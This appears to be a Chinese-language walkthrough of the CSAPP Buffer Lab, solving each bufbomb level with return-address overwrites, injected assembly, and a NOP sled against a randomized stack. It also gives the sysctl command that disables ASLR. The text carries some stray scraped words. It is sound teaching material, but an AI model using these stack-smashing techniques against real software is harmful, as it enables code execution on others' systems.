这是CSAPP
官网上的著名实验,经过注入汇编代码实现堆栈溢出攻击。
实验材料可到个人github
仓库 https://github.com/Cheukyin/C... 下载linux
linux
默认开启ASLR
,每次加载程序,变量地址都会不同,因此若要关闭ASLR
:sysctl -w kernel.randomize_va_space=0
(赋值为2
,便可打开ASLR
)git不过本实验的程序彷佛通过特殊处理,不须要关闭
ASLR
github正常编译的程序的
stack
是non-executable
的,可是加一个编译选项就能够打开
本实验的程序应该都打开了executable
选项了数组
修改getbuf()
的返回地址,让程序执行smoke
打开gdb
,设置断点至getbuf
, r -u cheukyin
cookie
80491f4: 55 push %ebp 80491f5: 89 e5 mov %esp,%ebp 80491f7: 83 ec 38 sub $0x38,%esp 80491fa: 8d 45 d8 lea -0x28(%ebp),%eax 80491fd: 89 04 24 mov %eax,(%esp) 8049200: e8 f5 fa ff ff call 8048cfa <Gets> 8049205: b8 01 00 00 00 mov $0x1,%eax 804920a: c9 leave 804920b: c3 ret
以上代码标明buf
的地址是ebp-0x28
,地址存放在eax
中print $ebp+4 ==> 0x55683884
print eax ==> 0x55683858
二者相差44
个字节,所以须要输入44
个普通字符,在输入smoke
的地址print smoke ==> 0x8048c18
dom
hex
结果保存在level0-smoke-hex.txt
./hex2raw < level0-smoke-hex.txt|./bufbomb_32 -u cheukyin
便可过关函数
跟上面相似,执行fizz()
,不过fizz
有一个参数须要压栈,这个参数须要跟cookie
相等
所以除了修改getbuf
返回地址,还须要输入四字节看成fizz
的返回地址,再输入4
字节cookie
spa
./makecookie cheukyin
可获取cookie
反汇编可获取fizz
返回地址code
./hex2raw<level1-fizz-hex.txt | ./bufbomb_32 -u cheukyin
通关ip
修改全局变量global_value
的值,并进入ban
函数
要修改global_value
,便需在stack
上注入一段修改的代码,执行完get_buf
后jump
到该代码,
代码执行完后便jump
到bang
level2-firecracker-assembly.S
为注入代码:
# push the address of bang onto stack pushl $0x08048c9d # in gdb, print &global_value ==> 0x804d100 # mov cheukyin cookie to global_value mov $0x3955ae84, %eax mov %eax, 0x804d100 # jump to <bang> ret
先把bang
地址压栈,而后修改global_value
的值为cheukin
的cookie
,最后ret
跳转至bang
gcc -m32 -c level2-firecracker-assembly.S
生成目标文件 objdump -d level2-firecracker-assembly.o > level2-firecracker-assembly.d
反汇编level2-firecracker-assembly.d
:
0: 68 9d 8c 04 08 push $0x8048c9d 5: b8 84 ae 55 39 mov $0x3955ae84,%eax a: a3 00 d1 04 08 mov %eax,0x804d100 f: c3 ret
gdb: print $ebp+8 ==> 0x55683888
把机器码填充到上面的地址,而后把get_buf
返回地址修改成上面的地址便可
./hex2raw<level2-bang-hex.txt | ./bufbomb_32 -u cheukyin
可过关
令getbuf
返回cookie
给test
,所以不能破坏test
的stack frame
,
因此只能把注入代码写在输入字符串的开头,也就是buf
地址
另外,当返回test
时须要恢复正确的ebp
,所以输入字符串中在返回地址以前应写入ebp
:
在getbuf
中, x/wx $ebp ==> 0x55683880
返回地址应是buf
地址: print $ebp-0x28 ==> 0x55683858
注入代码须要把cookie
移入eax
,并返回正确的地址:
#in getbuf: x/wx $ebp+4 ==> 0x08048dbe #push get_buf's return address pushl $0x08048dbe #return cheukyin's cookie to test movl $0x3955ae84, %eax #return to <test> ret
gcc -m32 -c level3-Dynamite-assembly.S
objdump -d level3-Dynamite-assembly.o > level3-Dynamite-assembly.d
把生成的机器码填入buf
./hex2raw<level3-Dynamite-hex.txt | ./bufbomb_32 -u cheukyin
通关
最后一关的要求和上一关一致,不过须要加上-n
参数运行bufbomb
,
此时会进入testn
和getbufn
函数而不是test
和getbuf
函数。
与以前不一样在于,为模拟真实环境具备不定数量环境变量在stack frame
的上方,
进入getbufn
时的ebp
值不是固定值,
读取字符串缓冲区大小由32
变为512
,并且会调用testn
函数五次,
意味着须要输入五次字符串并所有经过才能经过。
因为testn()
的ebp
值不固定,首先须要肯定如何恢复该值。
须要注意到一个事实,esp
和ebp
距离是固定的.
由testn
的汇编代码:
8048e26: 55 push %ebp 8048e27: 89 e5 mov %esp,%ebp 8048e29: 53 push %ebx 8048e2a: 83 ec 24 sub $0x24,%esp 8048e2d: e8 5e ff ff ff call 8048d90 <uniqueval> 8048e32: 89 45 f4 mov %eax,-0xc(%ebp) 8048e35: e8 d2 03 00 00 call 804920c <getbufn> 8048e3a: 89 c3 mov %eax,%ebx
getbufn
正常返回后应回到8048e3a
,此时ebp=esp+0x28
所以注入代码应增长利用esp
恢复ebp
的语句
以下:
#testn's ebp is fixed #read <testn>'s assembly code and calculate lea 0x28(%esp), %ebp #look into bufbomb_32.S #push getbufn's return address pushl $0x08048e3a #return cheukyin's cookie to test movl $0x3955ae84, %eax #return to <testn> ret
查看其机器码:
0: 8d 6c 24 28 lea 0x28(%esp),%ebp 4: 68 3a 8e 04 08 push $0x8048e3a 9: b8 84 ae 55 39 mov $0x3955ae84,%eax e: c3 ret
此时,还有另外一个难题,ebp
不固定,则getbufn
中的字串数组buf
地址也是不固定的.
如何修改getbufn
返回地址来执行注入代码呢?
经过gdb
查看读入getbufn
内字符串buf
的地址(即eax
),
对于一样的userid
会给出同样的地址序列,
目测是以userid
为seed
的伪随机,五次运行给出的地址分别为:
0x55683678 0x55683698 0x556836c8 0x556835f8 0x55683668
根据提示采用nop sleds
的技术,
大意是:在不清楚有效机器代码的入口地址时,
能够在有效机器代码前以大量的nop
机器指令(0x90)
填充,
只要跳转地址处于这些nop
上就能到达有效机器代码。
因为栈上的机器代码是按地址由低向高顺序执行,
要保证五次运行都能顺利执行有效机器代码,
须要知足:跳转地址位于有效机器代码入口地址以前的nop
机器指令填充区。
这要求尽量增大nop
填充区,尽量使有效机器代码段日后挪。
所以返回地址选用最高的地址: 0x556836c8
由getbufn
汇编代码
8049215: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax
可知buf
地址和存放返回地址的单元相隔 0x208+4 = 0x20c
个字节
而注入代码共15
个字节,所以共须要在buf
开头填充 0x20c-15
个nop(0x90)
而后在填入机器码和返回地址
./hex2raw -n <level4-Nitroglycerin-hex.txt|./bufbomb_32 -u cheukyin -n
通关./hex2raw
的 -n
选项可以让hex2raw
重复屡次输入